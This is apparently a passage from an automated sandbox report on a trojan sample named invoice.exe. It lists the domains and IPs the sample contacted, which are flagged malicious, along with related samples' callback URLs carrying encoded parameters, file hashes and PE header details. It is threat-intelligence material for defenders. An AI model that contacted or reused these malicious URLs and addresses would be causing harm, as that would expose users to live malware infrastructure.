http://www.knoxvilleoutdoorkitchens.com/?fp=acjVxO24ruBE1bSnAJOOFeZ9d2%2Bill3hWebcMHeneryqde34aljK8g	wscript.exe, 00000009.00000002.494442857.0000000004CF2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false		high
https://github.com/Spegeli/Pokemon-Go-Rocket-API/archive/master.zip	invoice.exe	false		high
http://www.fonts.com	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	invoice.exe, 00000000.00000002.245256874.0000000002EBE000.00000004.00000001.sdmp, invoice.exe, 00000000.00000002.245138274.0000000002EA1000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
192.0.78.24	legacyadmin.support	United States	2635	AUTOMATTICUS	true
35.156.117.131	www.jinlan.online.s.strikinglydns.com	United States	16509	AMAZON-02US	true
208.91.197.91	www.knoxvilleoutdoorkitchens.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
74.208.236.64	www.highdeserthealthinsurance.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
184.168.131.241	flowhcf.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
2.57.90.16	armaccountingbs.com	Lithuania	47583	AS-HOSTINGERLT	true
177.55.108.130	hotelmaktub.com	Brazil	53057	RedeHostInternetLtdaBR	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	383898
Start date:	08.04.2021
Start time:	12:02:34
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	invoice.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/1@15/8
EGA Information:	Failed
HDC Information:	Successful, ratio: 16.7% (good quality ratio 14.8%) Quality average: 69.4% Quality standard deviation: 33.4%
HCA Information:	Successful, ratio: 100% Number of executed functions: 94 Number of non-executed functions: 136
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 93.184.220.29, 20.82.210.154, 52.255.188.83, 104.43.193.48, 23.54.113.53, 104.43.139.144, 95.100.54.203, 13.107.5.88, 13.107.42.23, 20.50.102.62, 172.217.168.19, 23.10.249.26, 23.10.249.43, 20.54.26.129 Excluded domains from analysis (whitelisted): ghs.google.com, cs9.wac.phicdn.net, arc.msn.com.nsatc.net, client-office365-tas.msedge.net, ocos-office365-s2s.msedge.net, config.edge.skype.com.trafficmanager.net, store-images.s-microsoft.com-c.edgekey.net, e-0009.e-msedge.net, config-edge-skype.l-0014.l-msedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, l-0014.config.skype.com, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, ocsp.digicert.com, www-bing-com.dual-a-0001.a-msedge.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, config.edge.skype.com, www.bing.com, fs.microsoft.com, afdo-tas-offload.trafficmanager.net, dual-a-0001.a-msedge.net, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, skypedataprdcolcus16.cloudapp.net, skypedataprdcolcus15.cloudapp.net, ocos-office365-s2s-msedge-net.e-0009.e-msedge.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, l-0014.l-msedge.net Report size getting too big, too many NtAllocateVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:03:30	API Interceptor	1x Sleep call for process: invoice.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
192.0.78.24	o2KKHvtb3c.exe	Get hash	malicious	Browse	www.translations.tools/nsag/?GTgP=1Yx90tXdezyuV8sDZLNplGUVoptWSuBjE4/oeiBfqPIPAmaYyomwKJS6i2A6lUxe1bSuh3UNpg==&5jr=UlSpj
	PO#41000055885.exe	Get hash	malicious	Browse	www.billpollakwritingandediting.com/s2oc/?GzrL=WBjT_rUpa&8pDp00Hp=iEnqtY0VDkZROpxH3svCV1z4vh0RNvDxHQ/1OCo0cqhO00C//BGB8bIyEE+Kz7q/Bf/i
	swift_76567643.exe	Get hash	malicious	Browse	www.robztech.com/m8es/?CVJ=t8DGnXKWWWU8raNxivnbQjw3Z37WBEdYjZZIAloy7atrUUbC+CA3ztV2uFkjRRfw03U+&oX9=Txo8ntB0WBsp
	PDF NEW P.OJerhWEMSj4RnE4Z.exe	Get hash	malicious	Browse	www.ichaugames.com/edbs/?LZ9p=YgPC843WNdMasmCWk8z83XX/O5HllNmlhNkRKlPYh5DfpYamg+RMipCIUjeKta/lrbmo&MnZ=GXLpz
	Swift.exe	Get hash	malicious	Browse	www.pranatarot.com/edbs/?M6AlI=DP8A5Ne5M9xGBq1tjWprXkQLMPcjoeoXNStDN+ay4cQr/vSv+J0F/9nmPhuRTLw7c/6NIAJFgw==&T8RH=9rqdJ4wpALk
	TNUiVpymgH.exe	Get hash	malicious	Browse	www.longdoggy.net/vu9b/?yhRdNvKX=NeJ6fTW54FiVLomARoXtZYU3dCbrOkLIBtzKWj45EW4cSvDsCI/Ad3ky2rZHNP/pygFH&Sj=CTFH
	Swift Advise.exe	Get hash	malicious	Browse	www.billpollakwritingandediting.com/s2oc/?Hlnxrrv=iEnqtY0VDkZROpxH3svCV1z4vh0RNvDxHQ/1OCo0cqhO00C//BGB8bIyEE+gsLa/Fd3i&N48xBX=5jrXZXrHL6gpNHc
	vfe1GoeC5F.exe	Get hash	malicious	Browse	www.emmajanetracy.com/iu4d/?wTPHg6=ZliXVxFXgH&F8Sl=JOOHHYcCVAiumnatH9FSz+DjDh0K1BlAW5euFZ4O/VfuOjdNwQJji3cnAkLnRBXIBtcN
	New Purchase Order GH934782GHY489330.exe	Get hash	malicious	Browse	www.texasgirlcooks.com/n8ih/?FRd4X8=LwVPcdZXggMsOEqjpBC1UWbJi/W0BJRKlKtnOmrCDSW2VJzQcSCcpwg+xjq2DIU/ljr6&v8yH=ZPGXSpGP_
	enlu5xSNKV.exe	Get hash	malicious	Browse	www.mels.ink/jzvu/?T48h3FW=iJYv1UkuT0Zpi+IGsxHty87S2Dat4Pv7Wp3PPo6PPkk3ttxekOlDn9vNvymr9ZuQ7HO4&GPGXR=rVgD9v10QRyTEj
	KL9fcbfrMB.exe	Get hash	malicious	Browse	www.micheldrake.com/p2io/?TT=FjUh3Tu&idCtDnlP=d2NgnqRSaE399kDepSeXKrGILlrAeXd0mpr9jEILXnCNsbPLuX7uZtRN+ZZx/uILlcnE
	Bs04AQyK2o.exe	Get hash	malicious	Browse	www.blake-skinner.com/cyna/?GzuD=PDCWDhm1FORq+rZomwaGxMfk5udIXQ8UnpXBsbRxRfrc3sHkOqGAjqDUEuQ1Be52SJ1X&AnB=O0DXDNwPE
	DXeJI2nlOG.exe	Get hash	malicious	Browse	www.longdoggy.net/vu9b/?jPg8q=NeJ6fTW54FiVLomARoXtZYU3dCbrOkLIBtzKWj45EW4cSvDsCI/Ad3ky2o1XR+jS1VsWAWCG5Q==&nbEHs=jFNtdTXxm
	Rz9fvf4OTb.exe	Get hash	malicious	Browse	www.oklahomacfs.com/gts/?YB0x2ft8=PA67ZkolMfBFCI4mOjQDIsof7zDtaA6aTfME7PP0+Fx0ghZxyy52dimMDrUfoPufFN5g&Vr=LhnLH8Hph
	Doc.exe	Get hash	malicious	Browse	www.summit-fall.com/q8be/?Wrg=4hnHMfUXP&jDHtm=PvpSyhwaK0EPkwK3lIaPMDnFk8sqPd4QRGTJe178Ccz19CG/ZacuMU3Q8hVSYAMnSG3u
	order samples 056-062 _pdf.exe	Get hash	malicious	Browse	www.talesontwowheels.com/nu8e/?7ntLT=BUO3cM6bBv9ZuCKW4ifJ+Pyw8zjobdDvL9OFzJCTcSEVCDIw9t8JRYv77i9NgmLL6sLM&v4Xpf=oBZl2rip
	yxQWzvifFe.exe	Get hash	malicious	Browse	www.espressoandhoney.com/gts/?8p=2dRTAnw8b&uDHXm=EzY5lfbdKr94xDCu9UGw63kyV4asBdh+DU/WNzhiAESrVolwAii5R+YbRgqBWfyCYIrF
	PO_210316.exe.exe	Get hash	malicious	Browse	www.duncantraining.com/ntg/?tXUp=YP7DfZXHo&p0D=pJ3E5H0AXs3SyFTGH0EJGGbFjKRwNMwKWWcsy0pCeIK4FiOVM3d0QBCPOWB+ULVSbRXF
	NEW ORDER QUOTATION.xlsx	Get hash	malicious	Browse	www.earth-emily.com/4qdc/?qDKt=Wph7KmT0uL3Cs02FLA1oy52G3sDFb69Rya6X81f4dYa3z5cXpdxP3Vix0KXZYCXkaGKP+A==&BFQLa6=QL08lznxCVnXyzKP
	OPSzlwylj5.exe	Get hash	malicious	Browse	www.leadeligey.com/bw82/?Rxo=vUh86D2kaUcvG8cSXUIE+TYOTfOFz6ihzRiGvCHG7B+/lKZzNCz3xlSTvPJyBkyGX6Ae&MJBx=FdCx5LDXHnmh2JEP
208.91.197.91	TazxfJHRhq.exe	Get hash	malicious	Browse	www.jamessicilia.com/evpn/?JDK8ix=fhrZBjxaI0WDrOMMLB9i/eTcrXrQxugx+jgojm7BAd6fBe64JiOWliSCzfUjPirJzJCm&w4=jFNp36Ihu
	8sxgohtHjM.exe	Get hash	malicious	Browse	www.newmandu.com/vu9b/?0pn=gvDMKnL2DiygUqkLOW8equ0SBtiZsQsp9RF77GdE0oWtaZL2dcC9ipMcSo2LbyxlKRwH&uZQL2=D48x
	PRC-20-518 ORIGINAL.xlsx	Get hash	malicious	Browse	www.chitrakaah.com/g050/?MBN0yn=gh6gYfQCrnQBnQvKqXR1BBdq6I0/ia6nXcyoJzz4U03ljs0U8DV8qCnN3+fv2J4IGdTu1A==&2dht=XHE0Qdm
	ORIGINAL SHIPPING DOCUMENTSPDF.exe	Get hash	malicious	Browse	www.rajeshpaul.com/qqeq/?D8IxB=7nSpJtUpafTlT6&eb=my9HLCyGyTUI7ijeZNMt9rsHqU3anFReddNHkecDwv0iZCMXfCC6FueMusiXp9GGW0pUqn5axA==
	PO#7689.zip.exe	Get hash	malicious	Browse	www.greenlightsmokables.com/md5/?Jzu4_4C=zHBqlneB+dU0jWTqKpl7P0UhTg+HlH4MpY8JEipF1WP+CJ4l7o5pEqU4RJVuKm5urAdq&NrThfj=D48x
	products order pdf.exe	Get hash	malicious	Browse	www.tudeladirecto.com/nt8e/?wTX=EFNpsN9xNb-Dd&n4p=d5sTnujAaLwCHAV7Hkod4AGONRw1Ceya8p7QHyuAjU2hemaQC5CnvhOz2MROTqxwdpcV
	7Q5Er1TObp.exe	Get hash	malicious	Browse	www.newmandu.com/vu9b/?FTjl4F=gvDMKnL2DiygUqkLOW8equ0SBtiZsQsp9RF77GdE0oWtaZL2dcC9ipMcSo2LbyxlKRwH&vRDtx=khL0M89p_R8hBZa
	New Purchase Order.exe	Get hash	malicious	Browse	www.fairview.global/noi6/?Ktklc=djQtGmR2ozp5r2jxyahjtN1TJLTs4NvNMxVFhpbWlLclFF8JTFJQ/pXyn76jfICi7GGZ&lzul=z8o4n2BhWV
	Bombermania.exe	Get hash	malicious	Browse	live.interballs.com/reporting_server/
	Bombermania.exe	Get hash	malicious	Browse	live.interballs.com/reporting_server/
	2021_03_16.exe	Get hash	malicious	Browse	www.ltc-gold.com/2bg/?lnud=/i/Ib+Dffob7lMQ5ivcx1VEzEzf2K5SYmZpCl/xPFCYFxY/A/vBZb7BF8LsLTj5bzBQKXYQmxg==&1bm=3fedQNQ0wlQl0H
	orii11.exe	Get hash	malicious	Browse	www.fotoincasa.com/mdi/?8pp=r1iONhcrP0pbpGclQVhVGgc+Q37F54QKHkqxX6oGe/sLqU52wzsf7IojbzpCHshmMIC4&sZCx=1bYdfPf8ef5pjPm
	bnb.exe	Get hash	malicious	Browse	www.fotoincasa.com/mdi/?Jh=r1iONhcrP0pbpGclQVhVGgc+Q37F54QKHkqxX6oGe/sLqU52wzsf7IojbzpoYcRmIKK4&njl0d=Rzuls4
	Purchase Order.exe	Get hash	malicious	Browse	www.fairview.global/noi6/?rXOp32I=djQtGmR2ozp5r2jxyahjtN1TJLTs4NvNMxVFhpbWlLclFF8JTFJQ/pXyn76JA4yi/EOZ&Bd4Dh=CX6p
	PO_98276300.exe	Get hash	malicious	Browse	www.ojaveda.com/ame8/?8p=TUdynzXewDV4R6hcP/TtpIkDjP+ZRmt16Hw3snKWLRaKzibVm3POi5J75QFaIAfkEyg3&Cb=hN98bjZH
	DHL_receipt.exe	Get hash	malicious	Browse	www.greenlightsmokable.com/s8gq/?GVTl=CdTDr&CtxLR=GcXO2IQJXedQXP0VXXtwOzFelwMaLaizNNb08pvp0e1v1F0rbo8J5l47qDnDSsA31Tvl
	QUOTATION00187612.exe	Get hash	malicious	Browse	www.gamingmag.online/nsk/?5juH1Lw=DnZ6smjvmKtwuwAXRixl0xHJiuXjV7QbSQXcUxw83NwxPjQzvt78aHwZY7I20FYugkDr&kxl0dL=nDH8a8R86Pb8o
	AWB-INVOICE_PDF.exe	Get hash	malicious	Browse	www.pathwaysnorman.com/idir/?jFNhC=QcfpPsZsTQkbfi9dIqkstDiu8gpji7zGKQT9CcYXB17rdgdInICGKPMkjk7u0mNGiAFDxGC1Zg==&PlHT0=_6g89p5H3xehg
	DHL Document. PDF.exe	Get hash	malicious	Browse	www.xpresssteamironing.com/d8ak/?Szr0s4=GfmXTYq2Yn2AckQWwnE6BBibtFv31Qjt2UWEfiHUUpW9PpEAUCSsafVf838QtlI0BZoH7o+vNw==&QL3=uTyTqJdh5XE07
	INV.xlsx	Get hash	malicious	Browse	www.h-v-biz.com/c8so/?cf=hsMrMOU/4wmWTnQK7BegBqlrTsujOywA7VbOIqdg4Ej/UmxkJ2Rbh4V4PlD+e7xk19hcsA==&nH4xu=erRXJfgPJ

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CONFLUENCE-NETWORK-INCVG	TazxfJHRhq.exe	Get hash	malicious	Browse	208.91.197.91
	8sxgohtHjM.exe	Get hash	malicious	Browse	208.91.197.91
	PO7321.exe	Get hash	malicious	Browse	208.91.197.39
	PRC-20-518 ORIGINAL.xlsx	Get hash	malicious	Browse	208.91.197.39
	Lista e porosive te blerjes.exe	Get hash	malicious	Browse	209.99.64.33
	BL836477488575.exe	Get hash	malicious	Browse	204.11.56.48
	BL84995005038483.exe	Get hash	malicious	Browse	204.11.56.48
	DHL Shipping Documents.exe	Get hash	malicious	Browse	208.91.197.27
	Formbook.exe	Get hash	malicious	Browse	204.11.56.48
	ORIGINAL SHIPPING DOCUMENTSPDF.exe	Get hash	malicious	Browse	208.91.197.91
	PDF NEW P.OJerhWEMSj4RnE4Z.exe	Get hash	malicious	Browse	208.91.197.27
	bank details.exe	Get hash	malicious	Browse	208.91.197.27
	PO#7689.zip.exe	Get hash	malicious	Browse	208.91.197.91
	ORDER_PDF.exe	Get hash	malicious	Browse	209.99.64.18
	deIt7iuD1y.exe	Get hash	malicious	Browse	204.11.56.48
	Bista_094924,ppdf.exe	Get hash	malicious	Browse	208.91.197.27
	PO_RFQ007899_PDF.exe	Get hash	malicious	Browse	209.99.64.55
	PaymentInvoice.exe	Get hash	malicious	Browse	208.91.197.39
	products order pdf.exe	Get hash	malicious	Browse	208.91.197.91
	ZGNbR8E726.exe	Get hash	malicious	Browse	204.11.56.48
AUTOMATTICUS	0BAdCQQVtP.exe	Get hash	malicious	Browse	192.0.78.175
	vbc.exe	Get hash	malicious	Browse	192.0.78.25
	o2KKHvtb3c.exe	Get hash	malicious	Browse	192.0.78.24
	PO#41000055885.exe	Get hash	malicious	Browse	192.0.78.24
	BL836477488575.exe	Get hash	malicious	Browse	192.0.78.194
	FARASIS.xlsx	Get hash	malicious	Browse	192.0.79.33
	FARASIS.xlsx	Get hash	malicious	Browse	192.0.79.32
	RFQ-V-SAM-0321D056-DOC.exe	Get hash	malicious	Browse	192.0.78.25
	swift_76567643.exe	Get hash	malicious	Browse	192.0.78.24
	PDF NEW P.OJerhWEMSj4RnE4Z.exe	Get hash	malicious	Browse	192.0.78.24
	yQh96Jd6TZ.exe	Get hash	malicious	Browse	192.0.78.25
	Swift.exe	Get hash	malicious	Browse	192.0.78.24
	TNUiVpymgH.exe	Get hash	malicious	Browse	192.0.78.24
	g0g865fQ2S.exe	Get hash	malicious	Browse	192.0.78.25
	Original Invoice-COAU7230734290.xlsx	Get hash	malicious	Browse	192.0.78.25
	TSPO0001978-xlxs.exe	Get hash	malicious	Browse	192.0.78.231
	Swift Advise.exe	Get hash	malicious	Browse	192.0.78.24
	RMwfvA9kZy.exe	Get hash	malicious	Browse	192.0.78.25
	vfe1GoeC5F.exe	Get hash	malicious	Browse	192.0.78.24
	New Purchase Order GH934782GHY489330.exe	Get hash	malicious	Browse	192.0.78.24
AMAZON-02US	Calt7BoW2a.exe	Get hash	malicious	Browse	3.14.206.30
	0BAdCQQVtP.exe	Get hash	malicious	Browse	52.40.12.112
	TazxfJHRhq.exe	Get hash	malicious	Browse	52.216.152.43
	1wOdXavtlE.exe	Get hash	malicious	Browse	52.216.179.59
	hvEop8Y70Y.exe	Get hash	malicious	Browse	15.165.26.252
	8sxgohtHjM.exe	Get hash	malicious	Browse	3.13.255.157
	eQLPRPErea.exe	Get hash	malicious	Browse	13.248.216.40
	vbc.exe	Get hash	malicious	Browse	3.13.255.157
	o2KKHvtb3c.exe	Get hash	malicious	Browse	18.218.104.192
	Order Inquiry.exe	Get hash	malicious	Browse	3.14.206.30
	6IGbftBsBg.exe	Get hash	malicious	Browse	104.192.141.1
	nicoleta.fagaras-DHL_TRACKING_1394942.html	Get hash	malicious	Browse	52.218.213.96
	PaymentAdvice.exe	Get hash	malicious	Browse	3.14.206.30
	ikoAImKWvI.exe	Get hash	malicious	Browse	104.192.141.1
	BL01345678053567.exe	Get hash	malicious	Browse	3.14.206.30
	AL JUNEIDI LIST.xlsx	Get hash	malicious	Browse	65.0.168.152
	DYANAMIC Inquiry.xlsx	Get hash	malicious	Browse	65.0.168.152
	Statement of Account.xlsx	Get hash	malicious	Browse	15.165.26.252
	Shipping Documents.xlsx	Get hash	malicious	Browse	52.217.8.51
	bmws51TeIm.exe	Get hash	malicious	Browse	3.141.177.1

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\invoice.exe.log Download File
Process:	C:\Users\user\Desktop\invoice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	5.350128552078965
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHR
MD5:	1DC1A2DCC9EFAA84EABF4F6D6066565B
SHA1:	B7FCF805B6DD8DE815EA9BC089BD99F1E617F4E9
SHA-256:	28D63442C17BF19558655C88A635CB3C3FF1BAD1CCD9784090B9749A7E71FCEF
SHA-512:	95DD7E2AB0884A3EFD9E26033B337D1F97DDF9A8E9E9C4C32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E191802B7
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.214342330666735
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	invoice.exe
File size:	894464
MD5:	492017e064cab97dd8ea27abd3e5cfca
SHA1:	a3addbdea8245b2e16c6ef551755b9d0e66e8e2b
SHA256:	524306af2db603c7db95227603c3014b67c27cfb2f88d12de2a599ece24575e2
SHA512:	66d5180a58dfaf4f1971480090197115c76af46e46098e6b33ec2d6f30d63b40e45f13f29e41b7b19cb8dc3a0dd24c1846fb45009c6f10c5419d30fcf6208a13
SSDEEP:	12288:/eGIIK2eESBAcIRUpDrV5F4pO9q7d36dQc8fZVa0RdYrLST8BHVlnwC5IKUaE+:/e5IV6AVUF5Ipb/cmES4VlnFI/
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....n`..............P..^...F......~\|... ........@.. ....................................@................................

File Icon


Icon Hash:	e8d4ae708e8ec461

Static PE Info

General
Entrypoint:	0x4a7c7e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x606EACE1 [Thu Apr 8 07:12:33 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa7c2c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa8000	0x3422c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xde000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa5c84	0xa5e00	False	0.789592360588	data	7.55515603565	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xa8000	0x3422c	0x34400	False	0.389877392344	data	5.76163363059	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xde000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xa8220	0x521e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
